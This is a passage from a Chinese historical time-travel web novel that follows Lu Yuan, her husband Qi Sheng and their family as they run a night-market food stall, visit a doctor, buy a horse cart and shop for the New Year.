陈娘子瞅向她:“你要做啥。”忽然想到了什么,目光落在她的小腹上。 陆鸢心领神会,立马道:“不是,是我家郎君有别的活计,这忙不过来,想请一个人帮忙。” 陈娘子道:“我还以为你这有了,要请个人伺候呢。” 陆鸢:…… 得亏没与祁晟圆房,不然这么多人都在说孩子,她都得怀疑自己是不是真怀孕了。 掌柜娘子又道:“我在这也开了十几年的铺子了,倒是认识一些人,我给你问问,不好的我也不给你介绍。” “那就谢过陈娘子了。” 陈娘子:“谢啥谢呢,你帮衬我的生意,应该是我谢你才对。” “对了,这工钱咋算?” 陆鸢:“我不大了解行情,陈娘子你给提提建议。” 陈娘子道:“你这只是摆夜市?” 陆鸢点头:“这年底人多,也忙不过来,就先干夜市。” 主要她这吃食,也不适合探亲访友。 陈娘子想了想,又问:“那得给你推磨不?” 祁晟双日在家,就算个别双日不在,她也可以自己推。 “不用,就帮忙搬一下摆摊用的东西,或是打打下手,平时我郎君没什么事,都会过来帮忙。” 陈娘子道:“我倒是听说这寻常食肆的小二,一个月是六百文钱,按日算的话,这一日就是二十文钱。” “你这一晚上三个时辰,又要做得深夜,怎么都得给十八文。” 陆鸢点头:“这个工钱还是很划算的。” 岭南都是流放之地,物价人工也就这样。 陈娘子道:“你觉得划算,那就成。” 陆鸢嘱咐道:“找的人最好是离夜市比较近的,太远了,晚上收工回去很危险。” 陈娘子认同道:“确实是这个理,若是个小姑娘,晚上回去就太危险了。” “就是大娘,也不敢说安全。若是个小伙子,倒不用担心。” 陆鸢道:“那肯定不成的,若是平时郎君不在家,就我一个妇人,别人肯定会说闲话。” 都预料到这了,肯定是要避免,她可没那闲暇时间来自证。 陈娘子点了点头:“你放心吧,这几日我肯定帮你找到合适的人。” 陆鸢又道了谢。 陈娘子白了她一眼:“谢啥呢。” “对了,你这不忙吧?” 陆鸢摇头:“还没到推磨的时候,不忙。” “不忙就陪我唠嗑一会。” “唠嗑啥?” 陈娘子眯眼笑:“这附近的商户住户,对你们家的事可好奇了。” 陆鸢纳闷道:“有什么可好奇的?” 陈娘子道:“你家郎君那般模样,当然好奇了。” “他们都好奇你们俩是怎么认识的,还把你家那么个丰神俊朗的郎君调教这般疼爱媳妇的。” 陆鸢娇作地摆了摆手,忽悠道:“哪有的事,这还不是他先看上的我,我勉为其难才答应嫁给他的。” 陈娘子瞪大眼睛道:“敢情还是你家里郎君先瞧上你的,你还勉为其难才答应。” 陆鸢道:“那不然呢,你说说看,他长得这么俊,初初见他的时候,也不了解他的秉性,谁知道他是不是那等花心的郎君。” “再说了,长成他那样,肯定有不少姑娘喜欢,我要是真答应了,指不定有多少姑娘会仇视我呢,我能不怕么?” 陈娘子仔细想想,竟也不得不认同她的话。 “你说得还怪有道理的。” “仔细想想,要是有两个家庭都相当的上门提亲,一个是你家郎君那样的,一个能是普通人,我喜欢归喜欢,但还是会选普通人那种过日子。” 陆鸢道:“瞧吧瞧吧,你也是这种顾虑不是?” 陈娘子笑道:“可你这不是赌对了。” 陆鸢心说就她这性子,若是赌不对,当然是把人给踹了。 陆鸢归家,见祁晟正在打扫院子,她在洗手的间隙,与他说道:“方才陈娘子问我,我和你咋认识的。” 祁晟闻言,看向她,等着她的后文。 以他对她的了解,总归不可能是实话,她现在与他说,不过是和他对口径,以免说脱了。 陆鸢有点不大好意思道:“我可与她说是你先看上我的,我是勉为其难才答应嫁给你的。” 祁晟点头:“这点倒是没说错,你一开始确实是勉为其难,而且也是我先看上你。” 陆鸢一听他这么说,顿时就不心虚了,背脊挺得老直了,说:“我也是这么想的,我也没说谎,只不过夸大其词了一点。” “对了,我可没说我是二婚,你别说,主要是春花这孩子比较敏感。就刚进城的时候才喊你第一声爹,还是在外头喊的,就是不想让别人说她是拖油瓶,怕别的小孩子欺负她。” 不说别的,陆鸢清楚的知道在懂事年纪,跟着母亲改嫁的孩子,内心都是敏感自卑的。 祁晟点了点头。 陆鸢不知道想到了什么,忽然发笑。 祁晟不解地看向她:“笑什么?” 陆鸢笑道:“就是忽然想到你二十三的年纪,春花也快六岁了,你这不是十六岁成亲,十七岁竟就当了爹。” 祁晟却觉得寻常,说:“这只有大户人家的男子才会在弱冠左右才成婚,但乡下男子,十五六成婚的也大有人在,也算正常。” 陆鸢上下打量了他一眼:“你十五六岁的时候,张开了吗?” 祁晟笑道:“肯定是稚气未脱。” 陆鸢道:“要是你那会就成亲了,我还真想象不到你那时当爹了,是怎么带孩子的。” 一个孩子带孩子,怎么样都觉得滑稽。 但想想,苏丽娘何尝又不是在孩子的年纪,就带上了孩子。 夜里收摊,归家盥洗后,祁晟在院子外洗洗涮涮,陆鸢则准备抹脸就寝。 陆鸢打开紫草油,却瞧见了没有多少,想起床底下的篓子还有一罐,她就把床底的篓子拖了出来。 还没翻找,一眼就看到了放在最上头的书册。 她仔细瞧了眼,是她没见过的书。 是祁晟前些天买的书么? 怎藏着掖着的? 陆鸢联想到了一些儿童不宜的书册,她眉眼一弯。 她眼里浮现一缕光,眼里没别的情绪,只剩下浓浓的兴趣。 她把书拿出,把篓子踢回了床底,继而把油灯挪到床边上,蹭掉鞋子就趴在床上翻开书册,趁着祁晟还没回来,一目十行地看过,翻动书页,寻找关键剧情。 祁晟从外头回屋,便见陆鸢趴在床上看书。 他心忖她怎忽然爱学习了? 只两息,他猛然间想起这千字文昨日就已经拿回家去了,那么她瞧的什么? 答案显而易见,是他放在床底的书。 祁晟抬手,径直捂住了双眼。 与她相处久了,脸皮子都厚了,倒不觉得羞耻。 只是以她的性子,他能想到往后的日子,这事少不了时常被她提起,打趣,调侃。 第83章 陆鸢看得入迷, 直到听到咳嗽声,才回神,转头看向祁晟,眼神带着不可言喻的笑意。 就好似在说——没想到你是这么假正经的人。 祁晟喉间吞咽上下滚动, 开口道:“我是个寻常男人, 看这些, 也正常。” 比起他的不自在,陆鸢可显得随意多了, 她点头:“我明白明白。” 这别说他一个寻常男人会看了,她一个寻常女人也看。以前没少在夜深人静的时候看些小脸通黄的小说, 这五十步可说不了百步。 以前她看这种书, 或许会不好意思,但这书不是她的, 而且还有一个比她更不好意思的, 这就有意思了。 祁晟暗暗呼了一口气, 劝道:“晚了, 别看了。” 陆鸢嘴角一扬, 说:“我正看得起劲呢,一会再睡。” 祁晟:…… 书上全是繁体字, 但好在不是什么文言文,只介于大白话与文言文之间, 贯通上下文, 陆鸢基本上一下子就能看懂意思。 陆鸢甚至还换了个姿势,躺着从头开始看。 还别说, 这古人写古代小说的文笔是真好,写这种话本,都不用特别露骨, 也能写得很香艳,就是内容也很吸引人。 好半晌,祁晟也没声了,陆鸢反应过来瞧了眼床边的人,说:“今晚你睡里边,我看一会儿就睡。” 油灯昏暗,照亮的范围也小,睡在里侧就太暗了。 祁晟沉默地上了里榻,坐在床上,转头望向看书看得入迷的妻子。 一时都不知道她是因为故事原身看得入迷,还是因为话本够香艳才勾起她的兴趣。 有时候觉得她生涩得不似成过婚的妇人,有时候又比成过婚的妇人还放得开。 祁晟躺下,闭上眼。 索性眼不见为净。 也不知过了多久,身边有起床的动静,祁晟本以为她要熄灯睡了,却听见窸窸窣窣的声音,她似找什么东西。 祁晟一睁眼,就见她把灯油的拿了起来,往灯芯渐暗的油灯碟子里添灯油。 …… 他不得不开口劝:“今日忙活了一日,你不累?” “不累,别打扰我。”添上灯油后,她又钻回被窝,抱着汤婆子继续看书。 陆鸢久违的迎来娱乐活动,这正在兴头上,她不看完,谁来劝都没用。 祁晟见状,忽然后悔没把这书藏得严实一些。 但仔细想想,就这小院子,藏哪里都会被发现。 叹了一声,也没再搭理她,转身就闭上了眼。 话本不厚,但是这阅读的方式是从右到左,且用的是繁体字,所以陆鸢看得很慢,直到天边泛白,才堪堪把一本书看完。 祁晟睁眼的时候,才看到她把书放下。 “你睡吧,今日我先回去,把马牵到西市装车斗,倒是再回来接你。” 陆鸢打了个哈欠,点了点头,然后把汤婆子递给他,呢喃不清的说:“给你,一会给我放脚下,脚冻了大半宿了,都没暖和过。” 祁晟无奈,拿着汤婆子出了屋子,去厨房烧热水换上。 回了屋,把汤婆子放到她的脚下,摸了一下,确实是冷冰冰的。 这还是得继续喝药调理才成。 自进城后,她喝药调理就似懒惰的渔夫,三天打鱼两天晒网,喝了几服药,就没继续喝了。 祁晟放了汤婆子进被窝,又拿起她的冬衣盖在被衾上,给她掖了掖被子,看到床头随意摆放的话本,面无表情地拿起,放回背篓。 他没看完,她倒是先给看完了,而且毫不避讳。 想想他看得那一宿都是偷偷摸摸的,她却大大方方,他不由得苦笑。 他的底线真的被她一点一点地瓦解,一退再退。他琢磨着,下回都能光明正大地在她的面前看这本书了。 祁晟盥洗后,想着她估计能睡到晌午去,也就没有做朝食。 祁晟提着鱼和肉回到家中,两个孩子没看到娘亲,顿时大失所望。 祁晟把菜放到厨房,从里出来,老太太问:“丽娘咋没和你回来。” 祁晟应道:“昨晚忙得完,她起不来,就让她多睡一会儿,我下午再去接她回来。” 老太太问:“马车是不是今天就能弄好了?” 祁晟点头:“刚去问过了,今日下午就能装好。” 老太太:“那晌午能回来吃饭不?” 祁晟想让妻子多睡一会儿,也就道:“马车没那么快好,就不回来吃了,暮食再回来吃。” “那你啥时候回夜市街?” 祁晟应道:“趁着有些时间,想教春花秋花认认字。” 他低头看向两个孩子,问:“可想和我学认字?” 秋花依旧是最捧场的那个,应得斩钉截铁:“学认字!” 春花也点头:“我也想学。” 前天夫妻俩回来的时候,陆鸢就已经与她们说过认字明事理,更不会被人骗,还能干挣钱的买卖,所以对于认字,两个孩子一点儿也不抵触,甚至还带着浓浓的兴趣。 祁晟把千字文拿了出来,今日就教她们认前边五个字。 两个孩子也不笨,祁晟教了好几遍,再考她们,她们都能读得出来叫什么。 单有书肯定也不够,得给她们买些笔墨纸才成。 祁晟巳时末就牵着门出了家门,到东市的食肆买了些熟食回家。 回到家中,还是静悄悄的,拴上马后进屋,陆鸢还在睡。 她听到声响,掀开眼皮瞧了眼,见是祁晟,闭上眼又继续睡。 祁晟也看了一眼,继而盛米出屋子做饭。 慢慢悠悠地做好饭菜,已是半个时辰后的事了。 陆鸢睡眼惺忪地起了,像是游神一般洗漱,无精打采地坐到桌前。 祁晟给她盛了饭,语重心长的道:“下回别这么熬夜了,对身子不好。” 陆鸢点头,应:“不会了不会了。” 熬夜这种事情,保证没用,她感觉要是还有话本,自己下次还敢。 吃着中食,祁晟道:“一会你与我去一趟医馆。” 陆鸢喝了口热汤,诧异地看向他:“前几天不是才去医馆吗,你有哪儿不舒服吗?” 去开安神茶的时候,还顺道看了看眼睛,不说多,至少恢复得也有七成了,偶尔用眼过度时,眼睛才会酸涩,朦胧模糊。 祁晟应道:“想去瞧瞧身体情况。” 陆鸢迷迷瞪瞪的,脑子也没怎么转弯,点了头应了“好”。 吃过中食,祁晟牵着马,和陆鸢一同去医馆。 拴好马,进了医馆中,入了隔间,祁晟才与大夫说:“我内人冬日畏冷,双足难暖,估摸有些气血不足,大夫你给瞧瞧。” 陆鸢闻言,错愕地看向他:“不是你看大夫吗,怎成了我?” 祁晟道:“要你来看,你能一直拖着。” 对她来说,喝药就好似上刑一般。若是指名是去看她的身体,她定是能拖则拖。 陆鸢:…… 他倒是了解她。 来都来了,陆鸢只得坐下,把手放到脉枕上。 大夫把了脉,说:“还是先前说的老毛病,早期劳作过度,脾胃虚弱,气血两虚,依旧得补。” “我给开些补气血的汤药,这不是喝几服药就能调理好的,你这身体情况,先前就说过了,得长期服药,但你这就拿了一回药,之后就没拿过了,怎么可能好得了。” 陆鸢寻了个借口,道:“这先前家里条件不好,喝不起药。” 祁晟道:“现在家里条件好了,大夫要你喝多久,你就喝多久。” 听到这话,陆鸢扭头瞪他。 祁晟没看她,而是直接和大夫说:“这得喝多久的药?” 大夫写着药方子,说:“短则三月,长着一年。” 祁晟道:“那先开半个月的药。” 大夫道:“每日早间一碗药,睡前服用,能助眠。天气冷了,能久放,一副药可熬煮三日,头次煎小半个时辰,中间半个时辰,最后一次,多加小半个时辰。” 陆鸢道:“那还挺省钱的。” 大夫瞧了一眼她,问:“那要不给你多开几副?” 陆鸢连忙摇头摆手:“不用了不用了。” 开了半个月的药,也不过是五副药,花了二百多文。 陆鸢道:“这费钱,得亏是一副药能喝三日,不然天天一副药,得花多少钱呀。” 既然开了药,她自然会好好喝。 出了医馆,陆鸢似乎想起了什么,忽然停下了步子,把药塞给他,道:“我还要买点妇人的药,你在外头等一会我。” 陆鸢又回了医馆。 大夫见她,问:“怎么又回来了?” 陆鸢也不扭捏,直接问道:“能不能给我开点不怎么伤身子的避孕药?” “大夫你也知道,我现在的身子,不太适合有孕。” 大夫也见怪不怪,也没有丝毫的避讳,道:“这避孕汤药或多或少对身体有所影响,若真想避孕,给你配个香囊,会降低受孕的可能,另外再让你郎君排在体外。” “若有条件,也可去买肠衣。” 肠衣是什么? 古代小套套吗? 陆鸢小声问:“那得去哪买?” 大夫古怪瞧了她一眼:“让你男人打听就是了。” 陆鸢这才没继续追问,而是让大夫给她开点药装香囊。 不一会后,陆鸢拿着一包药出来。 祁晟问她:“都买了什么?” 陆鸢道:“用来做香囊的药。” 至于什么肠衣,她一个不扭捏的人,还是觉得怪不好意思的,等过些天再说吧。 拿了药后,便去木匠铺子,把马车给马装上。 装上后,祁晟赶着马车在街道上走了一圈,试了试稳定性后,确定没问题,才结清尾款。 祁晟若有所思地盯着四面漏风的马车,随即说:“回去后,我再编几张草帘放上去,里边再放几块布,也能防风。” 两人坐着马车回了垂柳巷,让马放放风,也就把马拴在巷口,一群孩子围着马车转圈。 直到爹娘回来的俩孩子,也都出来了,生怕别人把自家的马儿偷走,两个孩子都在外头守着。 警惕的时候,春花的小表情上又隐隐透露着神气。 第84章 祁晟驾着新马车回来, 和祖母提了提要做帷帘的事,老太太也酒出去看了一圈。 老太太丈量好马车的尺寸,回到院子里,看见打哈欠的陆鸢, 问:“昨晚去做贼了, 这么困?” 陆鸢揉了揉眼:“我勤奋好学, 看书看得一宿没睡。” 正在弄草料的祁晟听到她这话,不可思议地转头看了她一眼。见她朝着自己眨了眨眼, 没有丝毫的心虚,不由得疑惑到底是在什么样的环境长大的, 才能长成她这般地厚脸皮。 老太太嗤笑了一声:“你, 还勤奋好学?我可不信。” 说到这,老太太忽然问起:“两个多月前让你给自己郎君做的鞋子, 你可做好了?” 陆鸢:…… 不提这事, 她都给忘记了。 她看了眼祁晟, 随即眉眼一弯:“过几天我肯定能做好。” 祁晟就算没回头, 也能从她笃定的语气中, 猜到她现在心里的小九九。 没一会,老太太进屋把之前做了一半的鞋子拿出来, 递给她:“真希望你郎君在春节前能穿上新鞋子。” 陆鸢接过,应道:“一定一定。” 陆鸢把鞋子拿回房子后, 老太太与她道:“我与你去布店瞧瞧, 找些布来做车帘子。” 陆鸢复而打了个哈欠,转头喊祁晟:“你喂了马后, 就把我们送到布铺。” 现在有马车了,她出门超过一刻的路程,一点都不想再用双脚走了。 老太太睨了她一眼, 道:“晟哥儿都还没熟悉怎么赶马车,你还敢让他赶马车到闹市?” 陆鸢愣了一下,讶异道:“刚回来的时候,赶得不挺好的吗?” 老太太和她齐齐转头,看向准备拿着草料拿出院子喂马的祁晟。 祁晟解释道:“上回请马车回围山村接祖母孩子的时候,观察过马夫是如何赶马车的,同时也询问了一些技巧,这回自然而然就上手了。” 毕竟也不是人人都能买得起马车,也不怕被抢生意,所以赶马车的车夫也就和他聊了一些。 陆鸢惊讶他强悍的学习能力的同时,也震惊地看着他:“你不会赶马车,怎么敢驱赶马车载着我回来的?” 祁晟道:“送你回来前,我绕着人少的地方驱赶了一圈,渐渐上手后,才敢把你送回来。” 陆鸢闻言,转回头看向老太太:“虽然郎君是第一次赶车,但回来的时候还是很稳当的。” 老太太听了孙媳的话,到底是相信自己孙子的,便道:“我去把两个孩子带回来,让她们围上项帕再出门。” 祁晟道:“我去喊,顺道喂马吃点草料,小半个时辰后再走。” 祁晟出去,陆鸢也跟着一块出去。 她忽然好奇地道:“不对呀,你不会赶马车,又怎么会骑马的?” 祁晟笑道:“我记性好,家道还未中落时,从四岁便开始学骑马了,算起来应该也学两三年,后来第一次助县丞剿匪的时候,路程太远,就借了现在这匹马给我骑回来,起初我确实生疏,但骑了一段路后,也就恢复了些许手感。” 陆鸢不得不感叹,天赋这种东西,还真是很难说。 有人书都啃烂了,却抵不过老天爷追着喂饭吃的天赋型。 他们两个走出巷子的时候,两个小孩子看到他们,一块喊了声:“爹,娘。” 然后都撒开脚丫子跑了过来。 祁晟一手提着草料,一手把秋花抱了起来。 其他人看到春花和秋花的爹娘走出来了,有个和春花差不多大年纪的小姑娘羡慕地道:“春花,你爹爹长得好好看呀。” 春花抬起小下巴,得意道:“我娘也好看。” “可你爹爹比你娘长得好看。” 祁晟和陆鸢相视一眼,都无奈一笑。 这男人比女人长得好看,可不是什么夸奖的话。 俩孩子般进城不过才十天,但因有个善于与人交际的曾祖母,还有个长得好看的爹,能干的娘,最重要的是家里还有一匹马,所以在这垂柳巷格外受小朋友的欢迎。 祁晟给马喂草料,下至一岁多的孩子,上到十来岁的孩子都在旁围观。 那马估计在贼窝待久了,这么多人围着,一点都不带惊的,甚至吃了一口草料,就抬着头半阖双目嚼动,悠然得很。 马吃完了草料后,也差不多可以出门了。 陆鸢回到家中,拿上钱袋子喊了老太太。 老太太从屋子里出来,把做好的香囊袋子给她。 陆鸢惊讶道:“老太太真神了,我正想做个香囊呢,你就给我做了。” 香囊很是精美,边缘都祥云纹样,而主绣样是个圆润的福字。 陆鸢瞧到上头的福字,有些沉默。 要是让老太太知道她是用来装避孕药的话,会不会后悔把这个香囊袋子给她? 老太太也没怎么在意她的表情,说:“这看着不是要过年了么,我就想着给你们每人都做一个,给两个孩子也各做各小荷包。” 陆鸢琢磨了一下,这香囊袋子还是不要装避孕的药物了,之后随便缝一个就成。 出了门,祁晟扶着他祖母上了马车,然后才是两个孩子。轮到陆鸢,也不用他扶,撩着裙角就跨上了马车。 马车在城内慢行,虽不遮风,倒也不是很冷。 两个孩子进城这么久,除了垂柳巷附近的巷子,还真没能好好逛逛。 越往城中走,便越发的热闹。 春花惊道:“娘,这城里比安平镇大了很多很多,人也很多很多。” 陆鸢给她们解释道:“那是自然,安平镇是镇,广康县是县。村子归镇管,镇子又归县管。” 春花似懂非懂地点了点头。 秋花在旁道:“秋花,姐姐管。姐姐,娘管。娘,曾祖母管。” 听到秋花一针见血地解释,几个大人都乐了。 老太太看着小小的人儿,点了点她的小脑门,笑道:“你这小家伙,话都说不利索的年纪,脑子倒是转得极快。” 陆鸢笑道:“可不,俩孩子都随我,一样聪慧。” 老太太笑着调侃:“这么拐着弯地夸自个,可真不要脸。” 陆鸢瞪眼道:“哪有,我这说的可是实话,郎君你说是不是?” 祁晟应:“是是是。” 陆鸢撇嘴嘀咕道:“敷衍。” 祁晟不由地发笑。 一路上,两个孩子都扒拉着马车的凭栏,看着沿街叫卖的东西,看向铺子,两双眼睛里都是新奇事物的好奇。 母女三人在逃亡的时候,没有过所,也进不了城,只能是在一些偏僻的村子寻求生机,是以两个孩子都还没见识过繁荣的县城。 陆鸢听说这广康县,在整个州府的七个县里头,繁荣的程度算是排在前三的了。 当然,这也与开放夜市有关。有些县城有宵禁,过了宵禁的时辰就得归家,连摆个夜宵摊子都不行。 陆鸢与老太太道:“明天早上就跟着我和郎君去西市,等晚间再让郎君送你们回去。” 老太太道:“也行,早点过去,也能帮些忙。” 陆鸢笑道:“也没什么可帮忙的。” 老太太年纪都大了,也不敢让她干什么活。就是洗碗,这大冬天的,肯定也不能让她碰冷水。 一家子有说有笑地到了西市。 布铺的瑕疵布在年底最为畅销,也买不到,只得是挑选最便宜的布料。 买了布料后,陆鸢道:“总归来都来了,咱们顺道去东市置办些年货。” 老太太道:“家里有豆皮,还有些菌干,笋干,也不用准备什么年货了。” 陆鸢道:“豆皮我过些天都要用到,就不能常用来做菜了,而且这大过年的,总得买点瓜子花生,零嘴,不然家里来客了,也没法招待。” 老太太纳闷道:“我们才来城里都还没半个人,哪里有客人拜年?” 陆鸢瞧了眼看着马车的祁晟,老太太也反应了过来。 这孙子以后要在公署当值,且还是重金聘去的,这肯定少不了人巴结,那这年节肯定也会有不少人来拜年。 想到这里,老太太道:“是得买一些。” 想了想,又说:“隔壁家陆氏娘家离广康县不远,有一条大河经过那村子,每年年前都会逮鱼分到村子里的各家各户,还会卖一些给别人,听陆氏说熟人带去村子里边买鱼,还能便宜呢。” “我寻思着年节菜贵,咱们也可以买一些回来养着,有客人来了就捞起来杀。” 陆鸢应道:“这行呀,也可以逮几只鸡先养着,不用临了过年前几日再抓,到村子里抓,肯定也便宜。” 说到鸡,陆鸢忽然想起险些和她拜堂的大红,问:“咱们家的鸡呢?” 老太太道:“先前也不晓得城里有没有地方养鸡,就把母鸡给卖了,大红则让里正家里帮忙养着,我琢磨着要是有地方养,过年回趟村子里,再接回来。” 大红毕竟是喜鸡,肯定不会卖掉。 陆鸢点了点头,随后回到养鱼的话题上,道:“那老太太回去后,你就去和陆大娘说说,咱们家也要十尾鱼,不要太小的。” 老太太一听,惊诧道:“要得了这么多么?” 陆鸢:“要不了就慢慢吃,反正浪费不了,天冷,也放得久。” 说到后边,怕老太太担心钱的问题,但怕老太太不高兴,也不能明说从哪来的,只道:“咱们的家底子还是有一些的,虽不说多,但几贯钱还是有的。” 加上祁晟上回的赏银,如今有八贯多的银钱。 他们天天都吃肉,就近来花销也大,所以夜市的买卖也没存下什么银钱。 老太太心里也大概知道这些家底是哪里来的,倒也没扫兴地摆脸色,只应:“那成,等回去后我就问问。” 买了一些年货后,陆鸢心想西市离夜市街近,既然都过来了,也就带一些黄豆回去,省得傍晚祁晟再过来泡豆子。 现在有马车了,在家里泡好,明天再带过来就成。 冬天天冷,豆子得泡上四五个时辰才成,磨豆浆也要时间。 他们回到马车上,就看到马车上放了几卷竹帘,祁晟道:“我想着日日现在用马车频繁,我又忙,不知什么时候才能把帘子编好,就买了现成的。” 陆鸢扶着老太太上马车,说:“我早想说买现成的了,费不了几个钱,还能省出点时间做别的。” 到了夜市街的小院,祁晟牵着马车停在铺子前头,陆鸢带老太太和孩子进小院。 进了小院后,老太太环视了一圈窄小的院子,又逛了一下屋子和厨房,说:“你们进城后,一直就住在这么小的屋子里头?” 虽然在乡下住得差,但好歹地方够大。 陆鸢去装豆子,不甚在意地道:“好歹还有一瓦遮风挡雨,而且离夜市也近,能挣钱。” 听到这里,老太太道:“先前陪晟哥儿来城里治病,你定吃了很多苦,辛苦你了。” 在老太太这里,只要孙媳不做违背良心的事,就是打骂孙子,她都能睁一只眼闭一只眼。 陆鸢摇头:“这点苦算不得什么。” 来时路,最苦的还是刚穿越的时候,连一粒米,一粒盐都吃不上。 老太太眼里都是愧疚,心疼。 许久后,等她装好的豆子,老太太才问:“晟哥儿要是去公署任职,你这摊子怎么办?” 陆鸢应:“我托人帮忙招工了,应该很快就能招到人。” 她绑上装袋子的豆子后,就喊上春华秋花,一块出去了。 到了前边,就见祁晟已经把帘子挂上了马车的左右两边和后边。 上了马车,确实是感觉舒服了不少,就是竹帘子都是缝隙,还真得在里边再加一面防风布。 第二日一早,祁晟就把一家子都送到了夜市街,然后夫妻俩便开始忙活了起来。 老太太除了一日三餐外,另外的时间则带两个孩子四处溜达溜达。 吃了中食后,就带着两个孩子在屋子里头小憩。 天色逐渐暗了下来,陆鸢告诉老太太不用做晚饭,等出摊的时候,喊上了老太太和孩子。 老太太领着两个孩子,随着孙子孙媳一块出了夜市。 此时天色还没黑,夜市上已经有好几个摊子了,就是行人少了一些。 有人帮忙看着东西,陆鸢也跟着祁晟一块回去搬东西。 搬了两回后,就架起了锅。 陆鸢承诺过孩子俩的油条,一直都没做,现在肯定得做。 她把两锅油都烧得沸腾,等油面趋于平静后,她才开始下面,下豆腐,两边一块炸。 好一会后,炸好了油条,剪成一段段,摆到几个人面前,然后又是一大碗的清拌香豆腐。 因着烫,让她们等一会再吃。 祁晟则盛了几碗豆乳放到她们的面前,说:“等摊子都摆出来了,也可以试试其他家的吃食。” 陆鸢道:“前边有一个摊子的糍粑做得极好吃,等会东家出摊了,我再去买。” 老太太道:“这些就够了,好吃的也不能一下子就吃完,留些下回再吃。” 陆鸢道:“这点可不够,等晚点我再带你们到处去逛逛。我和你们说,这入了夜,也有好多表演耍杂技跳舞的人,可热闹可好看了。” 两个孩子听着自己娘亲的话,脸上眼里都是溢出来的期待。 陆鸢说着话,就给两个孩子夹了油条,说:“可以吃了,用手拿着就行。” 两个孩子接过金灿灿的油条,咬了一口,不仅酥酥脆脆的,而且还非常的香,两双眼睛都睁得老大。 秋花睁着圆圆溜溜的大眼睛,说:“娘,好香,好吃。” 春花也忙不迭点头:“好好吃呀!” 老太太诧异地看向两个孩子,也夹了一块仔细看了眼,说:“我还真没见过这样子的吃食。” 说着也尝了一口,出乎意料的口感,外酥里嫩。 陆鸢看着她们吃得欢,眉眼都是笑意:“再尝尝这油炸香豆腐。” 她给孩子和老太太逗夹了一块,然后道:“怕你们都吃不惯辣的,所以做的是不辣的。” 她也吃了一些,夜色渐深,摊子前来了好些人,怕祁晟忙不过来,陆鸢也上前帮忙。 老太太瞧着忙碌的夫妻二人,唇角上扬,露出了欣慰的笑意。 好在这鸳鸯谱,她就是乱点也给点对了。 大概,这正是天定的姻缘。 第85章 夜色微浓, 华灯已上,整条夜市街灯火通明。 许是快到年节了,这夜市讨生活的人也越发多了,街边卖艺都比平时多了好些。 陆鸢忙过之后, 想着要带老太太和孩子好好逛医馆, 便朝隔壁摊子的大姐借了背孩子的背带, 先把秋花背到背上,再用绳子把春花的手和自己的手腕绑在一块。 老太太瞧她这架势, 调侃:“你这是得多怕这俩孩子丢了?” 陆鸢道:“春花秋花长得可爱,保不准就被人贩子盯上, 我可不得把她们拴紧了?” 也不知真的是两个孩子张开了, 白了胖了,还是因为日子久, 对俩孩子有了滤镜, 她怎么瞧都觉得这俩孩子都是粉雕玉琢, 讨人喜爱的。 老太太也打量了一眼两个孩子, 说:“也是, 长得这么漂亮的两个小姑娘,被抓走了办?” 陆鸢:…… 得, 还有一个也自带滤镜的。 孩子又乖又听话,还会心疼人, 小小的一个, 谁养谁迷糊。 拿了钱袋子后,几个人便逛起了夜市。 夜市灯火通明, 此起彼伏的叫卖声,摆买的物件令人眼花缭乱、卖艺的也是让人目不暇接。 因着人太多,春花人太小了, 都看不到表演,一直伸长脖子蹦跳着。 陆鸢想了想,还是蹲下来把她抱了起来。 穿这么厚的衣裳,抱起来还是挺沉的。 在围山村推了一个多月的石磨,练出来的力气也有了用处,背上一个,身前一个,她竟然还能扛得住。 春花的视野不再全是腿和屁股了,一下子高了起来,也看到了耍着杂技的人,顿时兴奋地鼓起了掌,不过才一会儿,她就说:“娘,我要下来了。” 陆鸢知道小姑娘心疼自己了。因着穿得太多,确实不好抱,也就把她放了下来,说:“等下回找个双日不出摊,和你爹一块带你和妹妹出来玩。” 陆鸢看向身边的老太太。 老太太看着表演,脸上也带着笑,眼里就只是单纯的喜悦。 她来这个时代这么久了,好像都没有见老太太笑得这般轻松过。 逛了小半个时辰也差不多了,陆鸢到羊杂汤的摊子,让摊主往她的摊子送去三份羊杂汤和三份馎饦。 馎饦类似后世的宽面,羊杂汤泡馎饦可好吃了。 今晚没做饭,她们是吃了半饱,但祁晟是个成年男人,吃得多,今晚吃的那点东西,估计只能抵两分饱。 点了羊杂汤和馎饦后,陆鸢又买了一份糍粑让老太太和孩子尝一尝,等吃完后再让祁晟把她们送回去。 回到摊子前,摊子前都挤满了人。 老太太看了眼自家的摊子,又看了眼旁边的冷冷清清的摊子,问身边的孙媳:“咱们家的生意一直都这么好吗?” 陆鸢摇头:“当然不是,只有郎君一个人在摊子前的时候,生意才会特别好,所以有时候我都特意跑开,让他看摊子。” 说到最后,她和老太太感叹:“长得好看就是能当饭吃。” 老太太看着摊子前都是妇人多,道:“也就你这个妇人不介意自己的郎君抛头露脸。” 陆鸢:“挣钱才是……且等会,郎君用这个词不太恰当吧?” 老太太道:“这容易招蜂引蝶的,管他是男是女,都恰当。” 好吧,一时间也无言以对。 等一桌子客人走了,陆鸢才让她们坐下,她则上前帮忙。 等陆鸢来了,客人才慢慢地少了。 就是这么现实。 刚好,热腾腾的羊杂汤和馎饦都送了过来。 陆鸢和老太太吃不了太多,都分了小半碗给两个孩子。 陆鸢与祁晟道:“吃完夜宵后,你就先把老太太和两个孩子送回垂柳巷。” 春花可怜兮兮地看着娘:“娘,我想和你一块住。” 秋花也可怜巴巴地看着她:“娘。” 陆鸢:…… 这谁撑得住呀。 一下子没忍住拒绝,她也转头,巴巴地看向老太太和祁晟,让祖孙俩做决定。 祁晟:…… 老太太:…… 片刻后,老太太道:“算了算了,我先带她们回院子睡一会儿,等你们收摊后,再回去吧。” 祁晟道:“也行,总归不会摆得太晚,亥时左右就收摊了。” 吃完热乎乎的羊杂汤,整个人都暖烘烘的。 吃完后,祁晟把祖母和两个孩子先送回家了,一刻后又回来了,顺道把碗筷给人家摊主还了回去。 夜深,人流散去,夫妻两人收拾收拾,也就搬好东西上马车。 虽然只能停在巷口,但也能少了一大段路,也不用再走几回,浪费时间。 他们把东西搬回院子的时候,免不得发出声音。 老太太听着声就醒了,穿上衣服从屋里出来。 她正想出门帮忙,祁晟忙道:“祖母,不用你,我们搬就好。” 老太太道:“我给你们提灯笼照明。” 祁晟无奈笑道:“先前失明的时候,孙儿已经习惯了黑暗,再者这条路走了不知道多少回了,闭上眼睛都能走。” 老太太听得心里酸酸的,道:“行吧,我喊两个孩子起来穿衣裳。” 祁晟往返五六遍,才把东西都搬回了院子。 随即他和陆鸢各抱一个孩子放到马车上,顺道把被衾也带上,省得两个孩子和老太太着凉。 把马车前边的帷帘放下,也遮去了一些冷风。 